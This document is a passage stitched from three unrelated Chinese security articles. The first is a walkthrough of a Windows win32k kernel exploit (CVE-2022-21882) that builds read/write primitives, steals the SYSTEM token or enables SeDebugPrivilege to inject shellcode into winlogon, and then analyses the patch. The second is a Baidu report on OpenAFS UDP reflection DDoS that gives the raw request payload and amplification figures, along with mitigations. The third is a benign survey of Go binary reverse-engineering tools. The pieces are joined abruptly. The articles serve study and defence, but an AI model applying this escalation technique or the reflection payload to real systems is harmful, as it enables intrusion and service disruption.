在运行NtUserConsoleControl前后分别查看窗口2的模式：
继续按g运行，中断在SetWindowLong函数前
此时窗口2处于模式1，并且pExtraBytes为窗口0的OffsetToDesktopHeap，再调用SetWindowLong函数：
这是第一次越界写，第一个参数为窗口2的句柄，第二个参数为index，为cbWndExtra相对tagWNDK结构体首地址的偏移量+cbWndServerExtra，由于窗口2调用了NtUserMessageCall，所以cbWndServerExtra为0x10，调用SetWindowLong时会使用index-cbWndServerExtra，所以此处要加上cbWndServerExtra来抵消，可参考前文SetWindowLong函数的分析。
单步运行后
可以看到窗口0的cbWndExtra变成了0xFFFFFFFF，接下来对窗口0调用SetWindowLong时传入index可以传入之前计算得到的extra_to_wnd1_offset和extra_to_wnd2_offset来分别修改窗口1和窗口2的窗口内核数据。
此时窗口1处于直接寻址模式，对窗口0调用SetWindowLongPtr修改窗口1的pExtraBytes为任意值，使用SetWindowLongPtr是因为此函数第三个参数可以传入64位数据，将窗口1的pExtraBytes设置为任意值，接下来对窗口1调用SetWindowLong即可实现任意地址写数据。
## 8.两种提权方式
### 8.1 设置token
第一种为设置当前进程的token为system进程的token，将当前进程提升到system权限，这种需要读取进程的EPROCESS结构，再定位到token变量的地址，修改token，公开的EXP中使用GetMenuBarInfo函数来实现内核任意地址读原语。
我们先分析这种方式，先看下Menu内核结构体：
ptagWND
0x10 THREADINFO
0x1A0 PROCESSINFO
0x00 EPROCESS
0x18 unknown
0x80 kernel desktop heap base
0x28 ptagWNDk
0xA8 spMenu
0x28 obj28
0x2C cItems(for check) 设置为1 0x40 cxMenu(for check) 设置为1 0x44 cyMenu(for check) 设置为1
0x50 ptagWND
0x58 rgItems
0x00 unknown(for exploit) //要读的地址-0x40 0x98 ppMenu
0x00 pSelf //指向spMenu
在EXP中先构造一个假的Menu
其中401行设置ppMenu偏移0x00处的值为spMenu，404、408、409设置spMenu结构体内部数据是为了绕过GetMenuBarInfo的验证，GetMenuBarInfo函数会调用内核中的NtUserGetMenuBarInfo，最终调用到xxxGetMenuBarInfo，GetMenuBarInfo对应有四个参数，对应xxxGetMenuBarInfo的四个参数，其中参数2为idObject，参数3为idItem。xxxGetMenuBarInfo对参数有校验：
164行判断idObject!=3如果满足，就不能触发到下面读内存的代码路径，所以idObject必须为-3。
316行代码判断dwStyle不能包含WS_CHILD属性。
322行代码从spMenu中偏移0x98取值，赋值给ppMenu。
325行代码判断idItem不能小于0。
328行代码判断idItem不能大于spMenu偏移0x28取值再偏移0x2c取值。
335行代码判断spMenu偏移0x40取值不为0并且偏移0x44取值不为0。
338行到344行，如果idItem不为0，可以让idItem为1，那么_readAddrSub40的值为spMenu偏移0x58取值。
接下来程序进入353行
v5是传入的第四个参数，用作保存读取到的数据。
在353、354行，可以读取传入地址的数据+窗口RECT的left坐标。
在357、358行，可以读取传入地址的数据+4+窗口RECT的top坐标。
所以只要我们可以绕过构造一个假的Menu，绕过上述限制，在Menu偏移0x58再偏移0x00的地址处存放想读取的地址-0x40，当GetMenuBarInfo返回时left和top中保存的就是目标地址处的8字节数据。
要想替换窗口的Menu为假的Menu，还是需要用到SetWindowLong函数，在内核态win32kfull!xxxSetWindowLong函数中会调用xxxSetWindowData函数：
xxxSetWindowData函数如下：
134、136行，判断如果index为0xFFFFFFF4，为-12，对应为GWLP_ID。
138行判断如果dwStyle是否包含WS_CHILD属性。
140行取出原来的menu指针，赋值给retValue，最终会作为用户态SetWindowLong函数的返回值。
142行修改spMenu为SetWindowLong传入第三个参数newValue值。
所以我们需要如下步骤才能完成任意地址读：
1. 先对窗口0使用内核越界写修改窗口1的dwStyle值为包含WS_CHILD，这样调用SetWindowLong时即可绕过上面138行的判断。
2. 对窗口1使用SetWindowLong函数传入index为GWLP_ID，修改窗口1的Menu为构造的假的Menu，并且SetWindowLong会返回原先的Menu的地址。
3. 使用原先的Menu通过内核数据结构即可定位到当前进程的EPROCESS，进而定位到token的地址。
4. 再次对窗口0使用内核越界写修改窗口1的dwStyle值为不包含WS_CHILD，这样调用GetMenuBarInfo时可以绕过xxxGetMenuBarInfo中316行代码的判断。
5. 需要读取数据时，将目标地址-0x40赋值给假的Menu偏移0x58对应的内存空间中，再调用GetMenuBarInfo函数。
单步运行413行代码，窗口1的dwStyle就包含了WS_CHILD属性。
可以看到修改完成后，窗口1的dwStyle包含了WS_CHILD属性。
继续执行415行代码：
在416行下断点后运行：
此时SetWindowLong函数刚执行完毕，返回值rax为0xfffffa49c0821e60，保存的是旧的spMenu指针，而根据之前的数据结构，可以使用spMenu定位到当前进程的EPROCESS。
执行419行代码，移除窗口1的WS_CHILD属性，为接下来调用GetMenuBarInfo做准备
窗口1的dwStyle移除了WS_CHILD属性。然后构造读原语如下：
根据之前的数据结构
ptagWND
0x10 THREADINFO
0x1A0 PROCESSINFO
0x00 EPROCESS
0x18 unknown
0x80 kernel desktop heap base
0x28 ptagWNDk
0xA8 spMenu
0x50 ptagWND
所以获取到spMenu后可以使用如下代码来获取当前进程的EPROCESS
在调试器中查看如下：
上图中可以看到通过spMenu取偏移和使用命令.process两种方式获取到的EPROCESS值是一致的。
查看当前进程的token
kd> !token
…
Privs:
19 0x000000013 SeShutdownPrivilege Attributes -
23 0x000000017 SeChangeNotifyPrivilege Attributes - Enabled Default
25 0x000000019 SeUndockPrivilege Attributes -
33 0x000000021 SeIncreaseWorkingSetPrivilege Attributes -
34 0x000000022 SeTimeZonePrivilege Attributes -
…
我们直接运行到454行，此时当前进程的token被替换为系统token
EPROCESS中token结构体为_EX_FAST_REF
kd> dt _EX_FAST_REF
ntdll!_EX_FAST_REF
+0x000 Object : Ptr64 Void
+0x000 RefCnt : Pos 0, 4 Bits
+0x000 Value : Uint8B
调试运行到454行，重新运行一次，所以EPROCESS值与之前不一样。
可以看到此时调用到if(iCount<5000)，_EX_FAST_REF结构体中的object值已经修改了。
查看system进程的EPROCESS
kd> dt nt!_EX_FAST_REF ffffe504`89885080+0x4b8
+0x000 Object : 0xffffbe09`9a242744 Void
+0x000 RefCnt : 0y0100
+0x000 Value : 0xffffbe09`9a242744
system进程EX_FAST_REF的Object也为0xffffbe09`9a242744，当前进程修改成功，使用!token命令验证下：
修改token的代码如下：
1.EPROCESS结构体中有一个进程链表，保存了当前系统的所有进程，我们主要关注ActiveProcessLinks和UniqueProcessId属性
kd> dt nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x438 ProcessLock : _EX_PUSH_LOCK
+0x440 UniqueProcessId : Ptr64 Void //进程ID
+0x448 ActiveProcessLinks : _LIST_ENTRY //进程链表
通过遍历进程链表ActiveProcessLinks，找到进程PID
UniqueProcessId为4的system进程，偏移0x4b8得到_EX_FAST_REF结构体地址，取出Object的值。
2.之前eprocess变量中保存了当前进程的EPROCESS地址，定位到_EX_FAST_REF结构体地址
3.通过窗口0越界写窗口1的pExtraBytes，传入第二步找到的地址，下面448行代码。
4.449行通过窗口1调用SetWindowLong设置Object修改值为第一步找到的Object。 5.450行代码恢复窗口1的pExtraBytes。
恢复内核数据：
407行到414行都是为了恢复内核窗口内容，防止蓝屏。
408行设置窗口2的pExtraBytes为正常的用户态指针。
409行设置窗口2的dwExtraFlag不包含0x800属性，即从模式1修改为模式2。
411到414行恢复窗口1的Menu指针。
418行恢复KernelCallbackTable表项。
自定义的释放内存的回调函数MyxxxClientFreeWindowClassExtraBytes，判断如果是特定窗口，就不释放内存，直接返回。
最终在回调函数表中恢复此项，释放窗口2的pExtraBytes，之前恢复内核数据代码处设置了窗口2的pExtraBytes为RtlAllocateHeap返回的指针。
### 8.2 修改Privileges
第二种漏洞利用要修改token的变量Privileges，这种实现相对来说简单，不需要构造写原语，为当前进程添加SE_DEBUG权限并启用，遍历进程，过滤与当前进程位于同一session下的winlogon登录进程，此进程是system权限，打开此进程并注入代码执行。
背景知识：
要打开系统安全进程和服务进程，并且有写入数据权限，需要当前进程拥有SeDebugPrivilege权限，这个是调试进程会用到的权限，当一个进程启动后，正常情况下，是无法提升权限的，正向开发时使用的AdjustTokenPrivileges函数只能是启用某个权限或者禁用某个权限。
之前我们已经实现了任意地址写数据，窗口1本身为用户态直接寻址模式，通过设置窗口1的pExtraBytes值为任意值，调用SetWindowLongPtr时即可对任意地址写数据，上一种利用手法是调用SetWindowsLong来构造写原语，调用GetMenuBarInfo来构造读原语，然后通过EPROCESS的ActiveProcessLinks链遍历进程，当进程号为4时，认为是system进程，获取system的Token变量覆盖到当前进程的Token，当前进程就提权到了system级别。
漏洞利用思路为：使用OpenProcessToken打开当前进程调整权限的句柄，使用NtQuerySystemInformation函数泄露句柄在内核中的地址，泄露出的地址为进程Token在内核中的地址，然后偏移0x40：
0: kd> dt _TOKEN
nt!_TOKEN
…
+0x040 Privileges : _SEP_TOKEN_PRIVILEGES
…
在EPROCESS结构体中的token变量类型为nt!_EX_FAST_REF
kd> dt nt!_EX_FAST_REF
+0x000 Object : Ptr64 Void
+0x000 RefCnt : Pos 0, 4 Bits
+0x000 Value : Uint8B
其实这个结构体中Object才属于TOKEN结构体，但Object的值不是简单的对应TOKEN结构体，而是需要经过计算，上面的结构体中RefCnt也是位于偏移0x00，只占4位，这四位表示了Object对象的引用计数，这里我们使用上面第一种利用方法利用成功后的数据
kd> dt nt!_EX_FAST_REF ffffe504`89885080+0x4b8
+0x000 Object : 0xffffbe09`9a242744 Void
+0x000 RefCnt : 0y0100
+0x000 Value : 0xffffbe09`9a242744
Object为0xffffbe09`9a242744，RefCnt 为0y0100，需要经过如下换算才可以：
0xffffbe09`9a242744&0xFFFFFFFFFFFFFFF0=0xffffbe09`9a242740
Windbg中查看：
Token偏移0x40为Privileges，Privileges中Present和Enable分别表明进程当前是否可以启用对应权限和是否启用了对应权限，EnabledByDefault是默认启用了对应权限，EnabledByDefault这个变量不需要修改，都是8字节数据，如果将Present和Enable都修改为0xFFFFFFFFFFFFFFFF，
在windbg中可以看到位与权限对应关系如下：
其中2位到32位是有效数据，我们只需要启用第20位SeDebugPrivilege权限就可以打开winlogon进程，之后注入shellcode，运行shellcode启动一个system级别的cmd进程。
内存布局与之前的第一种利用方法一样，接着hook回调函数，对窗口2调用NtUserMessageCall，接下来就不一样了：
调用LeakEporcessKtoken泄露token的地址，
LeakEporcessKtoken函数调用OpenProcessToken打开自身进程的token，第二个参数访问掩码设置为TOKEN_ADJUST_PRIVILEGES，为调整令牌权限，然后调用GetKernelPointer泄露token的内核地址：
其中结构体SYSTEM_HANDLE_TABLE_ENTRY_INFO和SYSTEM_HANDLE_INFORMATION在移植到64位版本时，笔者有对结构体内容进行一些修正，结构体中都多了一个变量ULONG
xxxCDCDCD用来占位，保持8字节对齐。泄露token地址后，token+0x40即可定位到Privileges变量地址，
313行通过窗口0越界写修改窗口0的pExtraBytes为token+0x40，定位到Privileges。
314到319行，设置新的权限值，其实只需要设置第20位，但是此处设置了第2到第36位都为1。
320行设置Present属性。
321行设置Enabled属性。
322行恢复窗口1的pExtraBytes值。
324行定位winlogon进程的pid，此处需要注意如果有多个用户登录那么存在多个winlogon进程，需要找到跟当前进程处于同一会话中的winlogon进程，否则最终启动的cmd当前用户无法看到。
325行写shellcode到winlogon进程中并执行。
328到331行是为了修复窗口内核数据。
> 总结两种漏洞利用方法的优劣：
> 第一种方法：对比第二种稍微有点复杂，要构造读写原语，优势在于不管是低权限进程还是中等权限进程都可以进行提权。
>
> 第二种方法：只需要构造一个写原语，然后开启各种权限，通过注入的方法来获取高权限，相对难度低点，但是要调用NtQuerySyetemInformation函数至少需要中等权限，对权限要求较高。
## 9.补丁分析
此漏洞对应的补丁为KB5009543，打补丁后调用NtUserMessageCall时触发到内核函数的调用堆栈如下：
win32kfull!xxxClientAllocWindowClassExtraBytes
win32kfull!xxxValidateClassAndSize+0x171
win32kfull!xxxSwitchWndProc+0x5a
win32kfull!xxxWrapSwitchWndProc+0x3c
win32kfull!NtUserfnINLPCREATESTRUCT+0x1c4
win32kfull!NtUserMessageCall+0x11d
win32k!NtUserMessageCall+0x3d
在函数xxxClientAllocWindowClassExtraBytes中调用回调函数后，内核函数对窗口的dwExtraFlag属性校验：
43行判断dwExtraFlag是否包含0x800属性，如果包含，说明用户态函数被hook，当前函数返回值不使用用户态申请的空间，而是返回0，返回到xxxValidateClassAndSize函数后，
判断返回值为0，直接返回，不会再去修改pExtraBytes为用户伪造的值。
## 10.参考链接
<https://www.anquanke.com/post/id/241804#h3-12>
<https://bbs.pediy.com/thread-266362.htm>
<https://www.4hou.com/posts/3KPr>
<https://blog.l4ys.tw/2022/02/CVE-2021-21882/>
<https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2022/CVE-2022-21882.html>
* * * | 社区文章 |
**作者：百度安全实验室
原文链接：<https://mp.weixin.qq.com/s/CIAdpOoxQ-ARwitVmTxX7Q>**
## **0x00概述**
百度智云盾团队在2022年3月首次捕获到利用OpenAFS服务的反射放大攻击。据现有资料表明，这种反射攻击方式尚属全网首次出现，智云盾系统在2秒内识别攻击，实时对流量做了隔离和清洗，保障用户免遭DDoS的伤害。
经过深入分析，我们确认了本次攻击是黑客利用了基于OpenAFS系统的客户端服务发起的DDoS反射攻击，OpenAFS是一套成熟的分布式文件系统，客户端在UDP7001端口提供服务，由于OpenAFS
多个版本存在安全漏洞，导致开启该服务的主机容易被黑客利用作为反射源进行DDoS反射攻击。
## **0x01反射原理**
攻击者采用反射方式实施DDoS攻击时，不是直接攻击受害者IP，而是伪造了大量受害者IP的请求发给相应的开放服务，通常这类开放服务不对源进行校验而是立即完成响应，这样更大更多的响应数据包发送到受害者IP，从而实现了流量的反射，这类开放服务就是反射源。
原理如下图所示：
图1 反射攻击原理示意图
图1中攻击者Attacker伪造了请求包PVA并发送到反射服务器A，但PVA的源IP是V，所以A响应的时候发送PAV给到V。
反射攻击一方面隐藏了攻击IP，同时还有一个重要特征是放大，上述原理图中的PAV往往是PVA的好几倍，甚至是成千上万倍。正是有了这样的特征，黑客组织乐此不疲的使用这一攻击方式，并不断的研究信息反射攻击增强攻击效果。
## **0x02攻击分析**
智云盾系统检测到攻击时，自动对攻击流量进行采样，安全专家对采样包及时进行了深层次的分析和演练。本次攻击事件共涉及反射源2594个。
1. **攻击包分析**
通过分析智云盾的攻击采样包发现，反射流量的端口来自于7001端口，下图红色箭头指向的是反射源端口：
图2 采样包内攻击来源端口图
采样包中udp携带的攻击载荷如下图所示：
图3 攻击载荷
数据包中的攻击载荷固定包含OpenAFS，通过搜索分析，这是一款分布式文件系统。攻击载荷如下图所示：
图4 格式化后的攻击载荷
**2.攻击模拟（OpenAFS版本号：1.6）**
为了进一步分析，我们在一台纯净的Ubuntu16.04的机器上安装了OpenAFS服务，不同版本的服务在我们的测试中，响应情况不同，此次安装的版本号为1.6。通过对攻击载荷的分析，并借鉴官方文档中查询请求的消息格式，我们编写软件向这几个端口发送攻击载荷为
\x00\x00\x03\xe7\x00\x00\x00\x00\x00\x00\x00\x65\x00\x00\x00\x00\x00\x00\x00\x00\x0d\x05
\x00\x00\x00\x00\x00\x00\x00的udp数据包，并针对反射源IP进行抓包，最后发现7001端口有响应。复现攻击如下图所示：
图5 反射源的响应（版本号：1.6）
我们在模拟攻击请求的验证中，发出一个载荷长度为29字节，获取到的响应包载荷为93字节。
**3.攻击模拟（OpenAFS版本号：1.7和1.8）**
OpenAFS从1.0到1.9共有10个大版本，我们对每个版本都进行了测试分析，最后发现，1.7和1.8两个较新的版本也存在安全漏洞，但是与1.6版本不同的是，响应包内容不再包含服务器的主机信息。下面展示了我们的验证过程：
版本1.7：
发送一个载荷长度为29字节的请求，共获取到5个载荷为24字节的响应内容，下图为模拟过程：
图6 模拟测试（版本号：1.7）
图7 格式化后的响应内容（版本号：1.7）
版本1.8：
发送一个载荷长度为29字节的请求，共获取到5个载荷为18字节的响应内容，下图为模拟过程：
图8 模拟测试（版本号：1.8）
图9 格式化后的响应内容（版本号：1.8）
**4.放大倍数**
按照我们前期对反射倍数的研究结果，科学的统计放大倍数，应当包括数据包协议头和网络帧间隙。详细的方案可以参阅《MEMCACHED DRDoS攻击趋势》一文。
协议头和网络帧间隙计算为：14（以太头）+20（IP头）+8（UDP头）+4（FCS头）+20（帧间隙）=66字节。所以三个版本反射倍数计算不同，
1.6版本的实际响应的数据包大小为93+66=159字节，1.7版本的为5x（66+24）=450字节，1.8版本的为5x（60+24）=420字节。请求包大小均为29+66
= 95字节。
最终我们计算得到的放大倍数为
版本号 | 放大倍数
---|---
1.6 | 159/95=1.67
1.7 | 450/95=4.74
1.8 | 420/95=4.42
## **0x03反射源分析**
**1.全网数据**
攻击发生以后，我们联合 **ZoomEye**
对在UDP7001上存在漏洞的服务进行了全网扫描，对扫描的反射源进行了调查分析，全球共有超过26w的OpenAFS服务存在安全漏洞，主要来源于中国，占比超过48%。下图是IP的全球分布情况：
图10 OpenAFS服务全球分布
## **0x04防范建议**
反射攻击与传统的flood攻击相比，能更好的隐藏攻击者，并且产生的流量更大，因而反射攻击越来越受到黑客青睐。
建议参考以下方式提升防护能力。
**1.对互联网服务应避免被滥用，充当黑客攻击的帮凶**
1. 禁用UDP服务，不能禁用时，应确保响应与请求不要有倍数关系
2. 启用的UDP服务应采取授权认证，对未授权请求不予响应
**2.对企业用户应做好防范，减少DDoS对自有网络和业务的影响**
1. 如果没有UDP相关业务，可以在上层交换机或者本机防火墙过滤UDP包
2. 寻求运营商提供UDP黑洞的IP网段做对外网站服务
3. 选择接入DDoS云防安全服务对抗大规模的DDoS攻击
**智云盾团队介绍**
百度智云盾是百度安全专注在互联网基础设施网络安全攻防的团队，提供T级云防、定制端防和运营商联防等DDoS/CC防御解决方案。一直服务于搜索、贴吧、地图、云等百度业务，在保障百度全场景业务之余也进行防御能力外部输出，为互联网客户提供一体化的防御服务。
* * * | 社区文章 |
# Go二进制文件逆向分析从基础到进阶——综述
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1\. 概述
Go 语言是一个比较新的强类型静态语言，2009 年由 Google 发布，在 2012 年才发布首个稳定版。Go 语言靠 Goroutine 和
channel、wait group、select、context 以及 sync 等辅助机制实现的 CSP
并发模型，以简洁高效编写高并发程序为亮点，很快就在全球范围内吸引大量开发者使用其编写各种程序。现在 Go 已成为云原生领域的首选开发语言。
由于 Go 语言上手快，编码效率高，程序运行效率也高，而且很方便跨平台交叉编译，也吸引了恶意软件开发者的注意。渐渐地，安全厂商开始捕获到越来越多的 [Go
语言编写的恶意软件](https://unit42.paloaltonetworks.com/the-gopher-in-the-room-analysis-of-golang-malware-in-the-wild/) ，这些恶意软件横跨 Windows、Linux 和 Mac 三大平台。
然而，Go 语言的编译工具链会全静态链接构建二进制文件，把标准库函数和第三方 package 全部做了静态编译，再加上 Go 二进制文件中还打包进去了
runtime 和 GC(Garbage Collection，垃圾回收) 模块代码，所以即使做了 strip 处理( `go build -ldflags
"-s -w"` )，生成的二进制文件体积仍然很大。在反汇编工具中打开 Go 语言二进制文件，可以看到里面包含动辄几千个函数。再加上 Go
语言的独特的函数调用约定、栈结构和多返回值机制，使得对 Go 二进制文件的分析，无论是静态逆向还是动态调式分析，都比分析普通的二进制程序要困难很多。
不过，好消息是安全社区还是找到了针对性的方法，让安全分析人员对 Go 语言二进制文件的逆向变得更加轻松。最开始有人尝试过针对函数库做符号 Signature
来导入反汇编工具中，还原一部分二进制文件中的函数符号。后来有人研究出 Go 语言二进制文件内包含大量的运行时所需的符号和类型信息，以及字符串在 Go
二进制文件中独特的用法，然后开发出了针对性的符号甚至类型信息恢复工具。至此，对 Go 语言二进制文件的逆向分析工作，就变得轻松异常了。
本系列文章将简单介绍 Go 语言二进制文件逆向姿势的发展历史，以及几个典型的恶意程序家族。然后详细介绍基于二进制文件内置的符号、类型信息来逆向分析 Go
语言二进制文件的技术原理和工具，最后以实际的分析案例演示前面介绍的工具和方法。至于还有人研究出[基于符号执行和形式化定理证明](http://home.in.tum.de/~engelke/pubs/1709-ma.pdf)的高深技术，来恢复
Go 语言二进制文件的符号和类型信息的姿势，不在本文讨论范围之内。 ~~因为鄙人也没研究明白~~
## 2\. 典型的恶意程序
早在 2012 年，Symantec(现已被博通收购)就曝光了一个 Go 语言编写的 Windows 平台上的恶意软件：
**[Encriyoko](https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7a3cd022-0705-43fb-8c11-181ec86b2c74&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments)**
，这是鄙人能查到的最早的 Go 编写的恶意软件。当时，这个恶意软件在业内并没引起多大注意。
到了 2016 年 8 月，Go 编写的两个恶意软件被俄罗斯网络安全公司 Dr.Web 曝光，在业内吸引了很多注意：
**[Linux.Lady](https://vms.drweb.com/virus/?i=8400823&lng=en)** 和
**[Linux.Rex](https://vms.drweb.com/virus/?_is=1&i=8436299&lng=en)**
。前者后来发展成臭名昭著的 **[DDGMiner](https://blog.netlab.360.com/tag/ddg/)** ，后者则是
**史上第一个 Go 编写的 P2P Botnet** (基于
[DHT](https://en.wikipedia.org/wiki/Distributed_hash_table)
)。从公开的信息来看，正是从这时开始，业内的安全研究人员开始对 Go 二进制文件的逆向分析进行初步探索。
2017 年，TrendMicro 曝光了一个[大型的黑客团伙
BlackTech](https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/)
，他们用到的一个核心的数据窃取工具 **DRIGO** ，即是用 Go 语言编写。2019 年 [ESET
发布一篇报告](https://www.welivesecurity.com/2019/09/24/no-summer-vacations-zebrocy/)，分析了 APT28 组织用到的知名后门工具 **Zebrocy** ，也有了 Go 语言版本。这也说明 Go
语言编写的木马越来越成熟，Go 语言开始被大型黑客组织纳入编程工具箱。
再往后，Go 语言编写的恶意软件就呈泛滥的态势了。2020 年初，鹅厂还曝光过一个功能比较复杂的跨平台恶意挖矿木马
**[SysupdataMiner](https://s.tencent.com/research/report/904.html)** ，也是由 Go
语言编写。就在最近， Guardicore 刚爆光了一个 [Go 编写的功能复杂的 P2P Botnet:
**FritzFrog**](https://www.guardicore.com/2020/08/fritzfrog-p2p-botnet-infects-ssh-servers/) 。
## 3\. 已有研究与工具
前文说过，Go 语言二进制文件有它自己的特殊性，使得它分析起来跟普通的二进制文件不太一样。主要有以下三个方面：
1. Go 语言内置一些复杂的数据类型，并支持类型的组合与方法绑定，这些复杂数据类型在汇编层面有独特的表示方式和用法。比如 Go 二进制文件中的 string 数据不是传统的以 `0x00` 结尾的 C-String，而是用 (StartAddress, Length) 两个元素表示一个 string 数据；比如一个 slice 数据要由 (StartAddress, Length, Capacity) 三个元素表示。这样的话，在汇编代码中看，给一个函数传一个 string 类型的参数，其实要传两个值；给一个函数传一个 slice 类型的参数，其实要传 3 个值。返回值同理；
2. 独特的调用约定和栈管理机制，使 C/C++ 二进制文件逆向分析的经验在这里力不从心：Go 语言用的是 [continue stack 栈管理机制](https://tiancaiamao.gitbooks.io/go-internals/content/zh/03.5.html) ，并且 Go 语言函数中 callee 的栈空间由 caller 来维护，callee 的参数、返回值都由 caller 在栈中预留空间，就难以直观看出哪个是参数、哪个是返回值。详见 [The Go low-level calling convention on x86-64](https://dr-knz.net/go-calling-convention-x86-64.html) ；
3. 全静态链接构建，里面函数的数量动辄大几千，如果没有调试信息和符号，想静态逆向分析其中的特定功能点，如大海捞针，很容易迷失在函数的海洋中；动态调试难度更大，其独特的 Goroutine 调度机制再加上海量的函数，很容易调飞。
由于恶意软件大都是被 strip 处理过，已经去除了二进制文件里的调试信息和函数符号，所以 Go
二进制文件的逆向分析技术的探索，前期主要围绕着函数符号的恢复来展开。
最早是有人尝试过为函数符号做 Signature ，然后把 Signature 导入到反汇编工具里的做法。这是一个 Hard Way
的笨办法，比较原始，但挺实用。r2con 2016 上 zl0wram 的议题《[Reversing Linux
Malware](https://www.youtube.com/watch?v=PRLOlY4IKeA&feature=youtu.be)》中就演示过这种做法：
进一步，大家发现了隐藏在 Go 二进制文件种 **pclntab** 结构中的函数名信息，并没有被 strip
掉，而且可以通过辅助脚本在反汇编工具里将其恢复。比如 RedNaga 的 **@timstrazz** 写了一篇 **[Reversing GO
binaries like a
pro](https://rednaga.io/2016/09/21/reversing_go_binaries_like_a_pro/)**
，详细讲述了如何从被 strip 的 Go 二进制文件中恢复函数符号以及解析函数中用到的字符串，让 IDAPro 逆向 Go
二进制文件变得更轻松。[@timstrazz](https://github.com/timstrazz "@timstrazz") 还开源了他写的 IDA
脚本
**[golang_loader_assist](https://github.com/strazzere/golang_loader_assist)**
。
值得一提的是， **golang_loader_assist** 诞生时，旧版的 IDAPro 对 Go
二进制中的函数识别效果并不是很好，很多函数体识别不全，导致 IDAPro 的自动分析能分析出的函数量有限。所以
**golang_loader_assist** 实现了一种依靠 Go 语言中 **连续栈(Continue Stack)**
维护的机制来解析、标注函数体的功能。具体做法是靠汇编代码的特征来找出 `runtime_morestack` 和
`runtime_morestack_noctxt` 函数，然后在 IDAPro
种遍历对这两个函数交叉引用的位置来找出函数体。这是一个无奈之举，IDAPro v7.x 的版本对 Go
二进制文件中函数体的自动解析功能加强了很多，绝大部分函数都可以被识别出来，无需自己费劲去识别、解析函数体。
再进一步，有安全研究员发现除了可以从 **pclntab** 结构中解析、恢复函数符号，Go
二进制文件中还有大量的类型、方法定义的信息，也可以解析出来。这样就可以大大方便对 Go 二进制文件中复杂数据结构的逆向分析。两个代表工具：
1. 用于 radare2 的 **[r2_go_helper](https://github.com/zlowram/radare2-scripts/tree/master/go_helpers)** ，由上面提到的 zl0wram 在 r2con 2016 上发布；
2. 用于 IDAPro 的 **[GoUtils](https://gitlab.com/zaytsevgu/goutils)** ，以及基于 **[GoUtils 2.0](https://gitlab.com/zaytsevgu/GoUtils2.0)** 开发的更强的 **[IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)** 。
前文提到的 **[Reversing GO binaries like a
pro](https://rednaga.io/2016/09/21/reversing_go_binaries_like_a_pro/)**
可能是业内最火的介绍 Go 二进制逆向的文章，但最火的工具可能还是 **IDAGolangHelper** ：
**IDAGolangHelper** 对 Go 的不同版本做了更精细化处理，而且第一次在 Go 二进制文件解析中引入 **moduledata**
这个数据结构。而且提供一个 GUI 界面给用户提供丰富的操作选项，用户体验更胜一筹。
不过 **IDAGolangHelper** 的缺点也非常明显：
1. 支持的 Golang 版本略旧。目前最高支持 Go 1.10，而最新的 Go 1.15 已经发布了。 Go 1.2 之后这些版本之间的差异并不大，所以这也不是个太大的问题；
2. 太久不更新，目前在 IDAPro v7.x 上已经无法顺利执行，这个问题比较严重；
3. 其内部有个独特的做法：把 Go 语言各种数据类型的底层实现，在 IDAPro 中定义成了相应的 ida_struct。这样一来，即使可以顺利在 IDAPro 中解析出各种数据类型信息，展示出来的效果并不是很直观，需要查看相应的 struct 定义才能理解类型信息中各字段的意义，而且不方便跳转操作。窃以为这种体验并不好：
更进一步，2019 年 10 月份，JEB 官方博客发表一篇文章 《 **[Analyzing Golang
Executables](https://www.pnfsoftware.com/blog/analyzing-golang-executables/)**
》，并发布一个 JEB 专用的 Go 二进制文件解析插件 **[jeb-golang-analyzer](https://github.com/pnfsoftware/jeb-golang-analyzer)**
。这是一个功能比前面几个工具更加完善的 Go 二进制文件解析工具，除了解析前面提到的函数名、字符串和数据类型信息，还会解析 [Duff’s
device](https://en.wikipedia.org/wiki/Duff's_device) 、Source File Path
list、GOROOT 以及 Interface Table 等信息。甚至会把每个 pkg 中定义的特定数据类型分门别类地列出来，比如解析某 Go
二进制文件中的部分类型信息：
> PACKAGE: net/http:
> struct http.Request (5 fields):
- string Method (offset:0)
- *url.URL URL (offset:10)
- string Proto (offset:18)
- int ProtoMajor (offset:28)
- int ProtoMinor (offset:30)
> PACKAGE: net/url:
> struct url.URL (9 fields):
- string Scheme (offset:0)
- string Opaque (offset:10)
- *url.Userinfo User (offset:20)
- string Host (offset:28)
- string Path (offset:38)
- string RawPath (offset:48)
- bool ForceQuery (offset:58)
- string RawQuery (offset:60)
- string Fragment (offset:70)
> struct url.Userinfo (3 fields):
- string username (offset:0)
- string password (offset:10)
- bool passwordSet (offset:20)
**jeb-golang-analyzer** 也有一些问题：对 strings 和 string pointers 的解析并不到位，虽然支持多种 CPU
架构类型(x86/ARM/MIPS)的字符串解析，但是 Go 二进制文件中字符串的操作方式有多种，该工具覆盖不全。另外，该工具内部定位
**pclntab** 的功能实现，基于 Section Name 查找和靠 Magic Number
暴力搜索来结合的方式，还是可能存在误判的可能性，一旦发生误判，找不到 **pclntab** 结构，至少会导致无法解析函数名的后果。最后，这个工具只能用于
JEB，而对于用惯了 IDAPro 的人来说，JEB 插件的解析功能虽强大，但在 JEB 中展示出来的效果并不是很好，而且 JEB
略卡顿，操作体验不是很好。
另外，还有一个非典型的 Go 二进制文件解析工具：基于 **[GoRE](https://go-re.tk/gore/)** 的
**[redress](https://go-re.tk/redress/)** 。 GoRE 是一个 Go 语言编写的 Go 二进制文件解析库，
**redress** 是基于这个库来实现的 Go 二进制文件解析的 **命令行工具** 。redress 的强大之处，可以 **结构化** 打印 Go
二进制文件中各种详细信息，比如打印 Go 二进制文件中的一些 Interface 定义：
$ redress -interface pplauncher
type error interface {
Error() string
}
type interface {} interface{}
type route.Addr interface {
Family() int
}
type route.Message interface {
Sys() []route.Sys
}
type route.Sys interface {
SysType() int
}
type route.binaryByteOrder interface {
PutUint16([]uint8, uint16)
PutUint32([]uint8, uint32)
Uint16([]uint8) uint16
Uint32([]uint8) uint32
Uint64([]uint8) uint64
}
或者打印 Go 二进制文件中的一些 Struct 定义以及绑定的方法定义：
$ redress -struct -method pplauncher
type main.asset struct{
bytes []uint8
info os.FileInfo
}
type main.bindataFileInfo struct{
name string
size int64
mode uint32
modTime time.Time
}
func (main.bindataFileInfo) IsDir() bool
